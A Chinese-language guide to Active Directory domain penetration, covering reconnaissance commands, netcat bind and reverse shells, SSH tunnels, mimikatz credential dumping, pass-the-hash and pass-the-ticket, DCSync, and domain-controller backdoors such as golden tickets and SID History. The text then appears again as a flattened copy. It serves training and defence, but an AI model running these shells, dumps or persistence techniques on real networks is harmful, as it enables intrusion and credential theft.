内网域渗透总结
字数 4553 2025-08-18 17:33:19

内网域渗透全面指南

1. 内网渗透测试基础知识

1.1 工作组

  • 工作组中的所有计算机是对等的,没有集中管理机制
  • 每台计算机独立管理自己的资源和用户账户

1.2 域

  • 域是有安全边界的计算机集合
  • 访问域内资源需要合法身份登录域
  • 权限取决于用户在域内的身份
  • 域控制器(DC):管理服务器,负责所有计算机和用户的验证工作
    • 存储所有账号和密码散列值
    • 所有权限身份认证都在DC上进行
  • 域管理员只能管理本域,跨域访问需要建立信任关系
  • 域使用DNS定位资源,域名即DNS域名

1.3 活动目录(AD)

  • 提供目录服务的组件
  • 存储网络对象信息:用户、组、计算机、共享资源、打印机等
  • 相当于网络资源的索引和快捷方式

1.4 域控制器和活动目录的区别

  • 安装AD的计算机就变成DC

1.5 域中计算机分类

  1. 域控制器:运行AD的计算机
  2. 成员服务器
    • 安装服务器OS并加入域
    • 未安装AD
    • 提供网络资源(文件服务器、应用服务器等)
  3. 客户机
    • 安装其他OS的计算机
    • 使用域账户登录域
  4. 独立服务器
    • 不加入域也不安装AD

1.6 域内权限解读

  1. 域本地组

    • 授予本域内资源访问权限
    • 例如Administrators组:不受限制存取计算机/域资源
  2. 全局组

    • 单域用户访问多域资源
    • 只能在创建域中添加用户和全局组
    • 重要全局组:
      • Domain Admins:域内所有服务器和DC默认拥有完整管理员权限
      • Enterprise Admins:域森林根域中的组,每个域内都是Administrators成员
      • Domain Users:所有域成员默认属于此组
  3. 通用组

    • 成员来自域森林中任何域
    • 可在域森林中任何域指派权限
    • 适合跨域访问
    • 成员信息保存在全局编录中

总结关系

  • 域本地组:来自全林,作用于本域
  • 全局组:来自本域,作用于全林
  • 通用组:来自全林,作用于全林

2. 内网信息收集

2.1 收集本机信息

  1. 网络配置:ipconfig /all
  2. 操作系统信息:systeminfo | findstr /B /C:"OS NAME" /C:"OS Version"
  3. 安装软件:wmic product get name,version
  4. 服务信息:wmic service list brief
  5. 进程列表:tasklistwmic process list brief
  6. 启动程序:wmic startup get command,caption
  7. 计划任务:schtasks /query /fo LIST /v
  8. 开机时间:net statistics workstation
  9. 用户信息:
    • 用户列表:net user
    • 本地管理员:net localgroup administrators
    • 在线用户:query userqwinsta
  10. 会话信息:net session
  11. 端口列表:netstat -ano
  12. 补丁信息:
    • systeminfo
    • wmic qfe get Caption,Description,HotFixID,InstalledOn
  13. 共享列表:
    • net share
    • wmic share get name,path,status
  14. 网络信息:
    • 路由表:route print
    • ARP缓存:arp -a
  15. 防火墙配置:
    • 关闭防火墙:
      • 2003及以前:netsh firewall set opmode disable
      • 2003以后:netsh advfirewall set allprofiles state off
    • 查看配置:netsh firewall show config
  16. 代理配置:reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

2.2 查询当前权限

  1. 当前权限:whoami
    • 机器用户:机器名+"$",System用户对应域内机器用户
    • System权限可运行域内查询命令
    • Administrators权限可提升为System权限
  2. 获取SID:whoami /all
  3. 用户详细信息:net user username /domain

2.3 判断是否在域

  1. ipconfig /all:查看DNS后缀列表
  2. systeminfo:查看"域"信息
  3. net config workstation:查看"工作域站"
  4. net time /domain:判断主域(域服务器通常作为时间服务器)

2.4 收集域内基础信息

  1. 查询域:net view /domain
  2. 查询域内计算机:net view /domain:XXX
  3. 查询域内计算机列表:net group /domain
  4. 查询域成员计算机:net group "domain computers" /domain
  5. 获取域密码策略:net accounts /domain
  6. 获取域信任信息:nltest /domain_trusts

2.5 查找域控

  1. 查看时间服务器:net time /domain(通常为主域控制器)
  2. 查看域控制器组:net group "Domain Controllers" /domain
  3. 获取域控列表:nltest /DCLIST:XXX

2.6 查询域内用户和管理员信息

  1. 查询域用户:
    • 所有用户:net user /domain
    • 详细信息:wmic useraccount get /all
    • 存在用户:dsquery user
    • 本地管理员:net localgroup administrators
  2. 查询域管理员:
    • net group "Domain admins" /domain
    • net group "Enterprise Admins" /domain

3. 隐藏通信隧道技术

3.1 隧道分类

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道
  • 传输层:TCP隧道、UDP隧道、常规端口转发
  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

3.2 网络层隧道

  • IPv6隧道:通过IPv4隧道传送IPv6数据报文,将IPv6报文整体封装到IPv4中

3.3 传输层隧道

  1. nc(netcat)
    • 正向shell:
      # Linux
      nc -lvp 4444 -e /bin/bash
      # Windows
      nc -lvp 4444 -e c:\windows\system32\cmd.exe
      nc 192.168.1.11 4444
      
    • 反向shell:
      # Target
      nc -e /bin/bash Lhost port
      # Hacker
      nc -lvvp port
      

3.4 应用层隧道

  1. SSH隧道
    • 本地转发:
      ssh -CfNg -L LPORT:RHOST:RPORT root@192.168.1.11(跳板机)
      
      参数说明:
      • -C:压缩数据
      • -f:后台运行
      • -N:静默连接
      • -g:允许远程主机连接本地转发端口
      • -L:本地端口转发
      • -R:远程端口转发
      • -D:动态转发(socks代理)
      • -P:指定SSH端口
    • 远程转发:
      ssh -SfNg -R LPORT(攻击机端口):RHOST:RPORT root@跳板机
      
      原理:在远程主机监听端口,所有访问该端口的数据通过SSH隧道传输到本地对应端口
    • 动态转发:
      ssh -CfNg -D 7000 root@192.168.1.11(跳板机)
      

4. 权限维持

4.1 Windows权限等级

  1. User
  2. Administrator
  3. System:可读取SAM等敏感文件
  4. TrustedInstaller:最高权限,可修改系统文件

4.2 提权方法

  1. 系统内核溢出漏洞提权
  2. Windows配置错误利用
    • 低权限用户以System权限运行安装文件
    • 可信任服务路径漏洞(包含空格且没有引号的路径)
    • 自动安装配置文件包含敏感信息
  3. 组策略首选项提权
    • SYSVOL是存储公共文件服务器副本的共享文件夹
    • 域内所有域控制器之间复制
    • 查找包含cpassword的XML文件(私钥已公布)
  4. UAC提权
  5. 无凭证条件下的权限获取
    • LLMNR(本地链路多播解析)欺骗
      • DNS不可用时使用LLMNR解析本地机器名称
    • NetBIOS欺骗
      • 根据NetBIOS协议广播获得计算机名称并解析为IP

5. 域内横向移动

5.1 IPC$共享

  • 实现进程间通信的命名管道
  • 建立条件:
    1. 开启139(NetBIOS)、445(共享文件)端口
    2. 开启默认共享

5.2 获取远程主机信息

  • dir命令
  • tasklist命令

5.3 Windows系统散列值获取

  1. 散列类型
    • LM Hash(DES加密)
    • NTLM Hash(MD4加密)
  2. 抓取方法
    • 从lsass.exe进程导出(实现Windows安全策略的进程)
    • 使用mimikatz:
      lsadump::sam
      sekurlsa::logonpasswords
      
      (注意:Wdigest关闭会导致无法抓取明文密码)
  3. 防范措施
    • 从administrators组删除具有Debug权限的本地管理员
    • 关闭Wdigest
    • 安装kb2871997补丁(仍需禁用默认Administrators账号)
    • 加入"Protected Users"全局安全组

5.4 哈希传递攻击

  1. 前提条件
    • 大量计算机使用相同的本地管理员账号和密码
  2. 攻击类型
    • NTLM Hash传递
    • AES-256密钥传递

5.5 票据传递攻击(PTT)

  • 注意事项:
    1. 使用主机名而非IP地址(如dir命令)
    2. 票据文件注入内存默认有效时间10小时
    3. 不需要mimikatz本地管理员权限

5.6 横向移动工具

  1. Psexec
    • 通过命令行与目标机器连接
    • 要求:远程系统开启admin$共享(默认开启)
    • 特点:
      • 建立ipc$连接后无需输入账号密码
      • 在目标系统创建psexec服务(执行后自动删除)
      • 可直接获得System权限的交互式shell
      • 会产生大量日志可被溯源
  2. Metasploit中的psexec模块
  3. WMI
    • 使用wmic命令(无回显,需配合ipc$和type命令读取信息)
  4. smbexec
    • 通过文件共享(admin\(, c\), ipc\(, d\))在远程执行命令

6. 域控制器安全

6.1 提取ntds.dit

  • ntds.dit包含活动目录所有数据(用户名、散列值、组、GPP、OU等)
  • 被Windows锁定,可使用卷影拷贝服务(快照)提取

6.2 使用dcsync获取域散列值

  • mimikatz的dcsync功能可直接提取ntds.dit并检索域散列值

6.3 Kerberos域用户提权漏洞

  • 漏洞原因
    • 用户可伪造Kerberos票据
    • KDC未验证票据签名
    • 返回的TGT使普通用户获得域管理员权限
    • 可访问域内资源

7. 跨域攻击

7.1 攻击方法

  1. 哈希传递攻击
  2. 票据传递攻击
  3. 利用信任关系进行跨域攻击

8. 域控制器持久化

8.1 DSRM域后门

  • DSRM(目录服务恢复模式):
    • 域控制器安全模式启动选项
    • 用于还原、修复活动目录数据库
  • 使用方法:
    • 使用KB961320同步指定域账号密码到DSRM密码
    • 利用DSRM账号控制域控

8.2 SSP维持域控权限

  • SSP(安全支持提供程序):
    • DLL文件,实现身份认证
    • 系统启动时加载到lsass.exe
  • 攻击方法:
    • 扩展LSA,注入恶意DLL到lsass.exe
    • 获取明文密码

8.3 SID History域后门

  • SID History用于域迁移时保持用户权限
  • 攻击方法:
    • 将管理员SID添加到恶意用户的SID History属性

8.4 黄金票据

  • 伪造TGT,依赖于krbtgt账号的NTLM HASH或AES-256
  • 特点:
    • 可伪造域内任意用户身份
    • 只要TGT被正确加密,所有信息都被KDC信任

8.5 白银票据

  • 伪造TGS,依赖于服务账号的密码散列值
内网域渗透全面指南 1. 内网渗透测试基础知识 1.1 工作组 工作组中的所有计算机是对等的,没有集中管理机制 每台计算机独立管理自己的资源和用户账户 1.2 域 域是有安全边界的计算机集合 访问域内资源需要合法身份登录域 权限取决于用户在域内的身份 域控制器(DC) :管理服务器,负责所有计算机和用户的验证工作 存储所有账号和密码散列值 所有权限身份认证都在DC上进行 域管理员只能管理本域,跨域访问需要建立信任关系 域使用DNS定位资源,域名即DNS域名 1.3 活动目录(AD) 提供目录服务的组件 存储网络对象信息:用户、组、计算机、共享资源、打印机等 相当于网络资源的索引和快捷方式 1.4 域控制器和活动目录的区别 安装AD的计算机就变成DC 1.5 域中计算机分类 域控制器 :运行AD的计算机 成员服务器 : 安装服务器OS并加入域 未安装AD 提供网络资源(文件服务器、应用服务器等) 客户机 : 安装其他OS的计算机 使用域账户登录域 独立服务器 : 不加入域也不安装AD 1.6 域内权限解读 域本地组 : 授予本域内资源访问权限 例如Administrators组:不受限制存取计算机/域资源 全局组 : 单域用户访问多域资源 只能在创建域中添加用户和全局组 重要全局组: Domain Admins:域内所有服务器和DC默认拥有完整管理员权限 Enterprise Admins:域森林根域中的组,每个域内都是Administrators成员 Domain Users:所有域成员默认属于此组 通用组 : 成员来自域森林中任何域 可在域森林中任何域指派权限 适合跨域访问 成员信息保存在全局编录中 总结关系 : 域本地组:来自全林,作用于本域 全局组:来自本域,作用于全林 通用组:来自全林,作用于全林 2. 内网信息收集 2.1 收集本机信息 网络配置: ipconfig /all 操作系统信息: systeminfo | findstr /B /C:"OS NAME" /C:"OS Version" 安装软件: wmic product get name,version 服务信息: wmic service list brief 进程列表: tasklist 或 wmic process list brief 启动程序: wmic startup get command,caption 计划任务: schtasks /query /fo LIST /v 开机时间: net statistics workstation 用户信息: 用户列表: net user 本地管理员: net localgroup administrators 在线用户: query user 或 qwinsta 会话信息: net session 端口列表: netstat -ano 补丁信息: systeminfo wmic qfe get Caption,Description,HotFixID,InstalledOn 共享列表: net share wmic share get name,path,status 网络信息: 路由表: route print ARP缓存: arp -a 防火墙配置: 关闭防火墙: 2003及以前: netsh firewall set opmode disable 2003以后: netsh advfirewall set allprofiles state off 查看配置: netsh firewall show config 代理配置: reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" 2.2 查询当前权限 当前权限: whoami 机器用户:机器名+"$",System用户对应域内机器用户 System权限可运行域内查询命令 Administrators权限可提升为System权限 获取SID: whoami /all 用户详细信息: net user username /domain 2.3 判断是否在域 ipconfig /all :查看DNS后缀列表 systeminfo :查看"域"信息 net config workstation :查看"工作域站" net time /domain :判断主域(域服务器通常作为时间服务器) 2.4 收集域内基础信息 查询域: net view /domain 查询域内计算机: net view /domain:XXX 查询域内计算机列表: net group /domain 查询域成员计算机: net group "domain computers" /domain 获取域密码策略: net accounts /domain 获取域信任信息: nltest /domain_trusts 2.5 查找域控 查看时间服务器: net time /domain (通常为主域控制器) 查看域控制器组: net group "Domain Controllers" /domain 获取域控列表: nltest /DCLIST:XXX 2.6 查询域内用户和管理员信息 查询域用户: 所有用户: net user /domain 详细信息: wmic useraccount get /all 存在用户: dsquery user 本地管理员: net localgroup administrators 查询域管理员: net group "Domain admins" /domain net group "Enterprise Admins" /domain 3. 隐藏通信隧道技术 3.1 隧道分类 网络层 :IPv6隧道、ICMP隧道、GRE隧道 传输层 :TCP隧道、UDP隧道、常规端口转发 应用层 :SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道 3.2 网络层隧道 IPv6隧道 :通过IPv4隧道传送IPv6数据报文,将IPv6报文整体封装到IPv4中 3.3 传输层隧道 nc(netcat) 正向shell: 反向shell: 3.4 应用层隧道 SSH隧道 本地转发: 参数说明: -C:压缩数据 -f:后台运行 -N:静默连接 -g:允许远程主机连接本地转发端口 -L:本地端口转发 -R:远程端口转发 -D:动态转发(socks代理) -P:指定SSH端口 远程转发: 原理:在远程主机监听端口,所有访问该端口的数据通过SSH隧道传输到本地对应端口 动态转发: 4. 权限维持 4.1 Windows权限等级 User Administrator System:可读取SAM等敏感文件 TrustedInstaller:最高权限,可修改系统文件 4.2 提权方法 系统内核溢出漏洞提权 Windows配置错误利用 低权限用户以System权限运行安装文件 可信任服务路径漏洞(包含空格且没有引号的路径) 自动安装配置文件包含敏感信息 组策略首选项提权 SYSVOL是存储公共文件服务器副本的共享文件夹 域内所有域控制器之间复制 查找包含cpassword的XML文件(私钥已公布) UAC提权 无凭证条件下的权限获取 LLMNR(本地链路多播解析)欺骗 DNS不可用时使用LLMNR解析本地机器名称 NetBIOS欺骗 根据NetBIOS协议广播获得计算机名称并解析为IP 5. 域内横向移动 5.1 IPC$共享 实现进程间通信的命名管道 建立条件: 开启139(NetBIOS)、445(共享文件)端口 开启默认共享 5.2 获取远程主机信息 dir 命令 tasklist 命令 5.3 Windows系统散列值获取 散列类型 LM Hash(DES加密) NTLM Hash(MD4加密) 抓取方法 从lsass.exe进程导出(实现Windows安全策略的进程) 使用mimikatz: (注意:Wdigest关闭会导致无法抓取明文密码) 防范措施 从administrators组删除具有Debug权限的本地管理员 关闭Wdigest 安装kb2871997补丁(仍需禁用默认Administrators账号) 加入"Protected Users"全局安全组 5.4 哈希传递攻击 前提条件 大量计算机使用相同的本地管理员账号和密码 攻击类型 NTLM Hash传递 AES-256密钥传递 5.5 票据传递攻击(PTT) 注意事项: 使用主机名而非IP地址(如dir命令) 票据文件注入内存默认有效时间10小时 不需要mimikatz本地管理员权限 5.6 横向移动工具 Psexec 通过命令行与目标机器连接 要求:远程系统开启admin$共享(默认开启) 特点: 建立ipc$连接后无需输入账号密码 在目标系统创建psexec服务(执行后自动删除) 可直接获得System权限的交互式shell 会产生大量日志可被溯源 Metasploit中的psexec模块 WMI 使用 wmic 命令(无回显,需配合ipc$和type命令读取信息) smbexec 通过文件共享(admin$, c$, ipc$, d$)在远程执行命令 6. 域控制器安全 6.1 提取ntds.dit ntds.dit包含活动目录所有数据(用户名、散列值、组、GPP、OU等) 被Windows锁定,可使用卷影拷贝服务(快照)提取 6.2 使用dcsync获取域散列值 mimikatz的dcsync功能可直接提取ntds.dit并检索域散列值 6.3 Kerberos域用户提权漏洞 漏洞原因 : 用户可伪造Kerberos票据 KDC未验证票据签名 返回的TGT使普通用户获得域管理员权限 可访问域内资源 7. 跨域攻击 7.1 攻击方法 哈希传递攻击 票据传递攻击 利用信任关系进行跨域攻击 8. 域控制器持久化 8.1 DSRM域后门 DSRM(目录服务恢复模式): 域控制器安全模式启动选项 用于还原、修复活动目录数据库 使用方法: 使用KB961320同步指定域账号密码到DSRM密码 利用DSRM账号控制域控 8.2 SSP维持域控权限 SSP(安全支持提供程序): DLL文件,实现身份认证 系统启动时加载到lsass.exe 攻击方法: 扩展LSA,注入恶意DLL到lsass.exe 获取明文密码 8.3 SID History域后门 SID History用于域迁移时保持用户权限 攻击方法: 将管理员SID添加到恶意用户的SID History属性 8.4 黄金票据 伪造TGT,依赖于krbtgt账号的NTLM HASH或AES-256 特点: 可伪造域内任意用户身份 只要TGT被正确加密,所有信息都被KDC信任 8.5 白银票据 伪造TGS,依赖于服务账号的密码散列值